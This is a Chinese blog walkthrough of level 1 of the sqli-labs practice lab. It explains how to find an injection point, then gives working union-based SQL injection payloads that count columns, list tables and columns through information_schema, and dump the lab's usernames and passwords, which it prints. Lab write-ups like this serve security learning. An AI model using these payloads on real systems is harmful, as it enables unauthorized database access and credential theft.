sqli-labs的第一关思考

1.先提示你输入数字值的ID作为参数,那我先输入?id=1试探一下,发现有回显,那么说明存在sql注入漏洞,其代入到了数据库进行查询过。

2.接下来我们判断sql语句是否是拼接(and字符型还是数字型)。输入?id=10'之后,提示你的sql语法有问题。

{SQL 注入是通过把SQL命令插入到 Web表单提交 URL 或 页面请求等的查询字符串中,最终达到欺骗服务器执行恶意的SQL命令(即输入的数据被当成代码执行)。

#如何判断注入点

{判断方法:只需要插入的 代码被执行,就存在注入点:

 加一个单引号?id=1' ,如果这个单引号被当成SQL语句,就不能正常的运行程序,页面也就不正常或者报错;如果没被当成 SQL语句,页面就显示不了。
加一个永假表达式,/?id=1 and 0   ,and(一假必假)
使用减法让id=1,/?id=2-1,如果页面正常,代码被执行就存在注入点
使用休眠函数 ,  or sleep(n)

按道理来说,我们在url 后面输入的是字符串而不是数字,因为 url 本身就是字符串。}

3.根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。

那麽现在猜字符段:

猜字段数是因为需要用的联合查询以获取管理员的信息,又可以说联合查询是显错注入的核心

但实现联合查询,需要一个条件。 在联合查询的语句俩边的表必须有相同的列数。 

4.猜字段数,一般通过 order by:

即:order by n 的意思是根据第 n 列排序,如果没有第 n 列,就不能排不了序,界面也就会不正常。那麽在url栏试着输入?id=1' order by 4--+然后,显示有unknown column 4 in order clause.

那现在说明没有第4列。字段数是3。

5.现在要爆出显示位。就是看看表格里面哪一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。显示的是your login :2   your password:3

6.获取当前数据名和版本号,这个就涉及mysql数据库的一些函数。通过结果知道当前数据看是security,版本是5.7.26。

7.开始爆表

输入?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+这个的意思等会专门出文章再细说。

8.开始爆字段名。我们通过sql语句查询知道当前数据库有四个表(即7.输入后所显示),根据表名知道可能用户的账户和密码是在users表中。现在要得到该表下的字段名以及内容.输?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

9.通过上述操作可以得到两个敏感字段就是username和password,输入?id=-1' union select 1,2,group_concat(username ,id , password) from users--+接下来我们就要得到该字段对应的内容

10.即有Your Password:Dumb1Dumb,Angelina2I-kill-you,Dummy3p@ssword,secure4crappy,stupid5stupidity,superman6genious,batman7mob!le,admin8admin,admin19admin1,admin210admin2,admin311admin3,dhakkan12dumbo,admin414admin4

.结

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值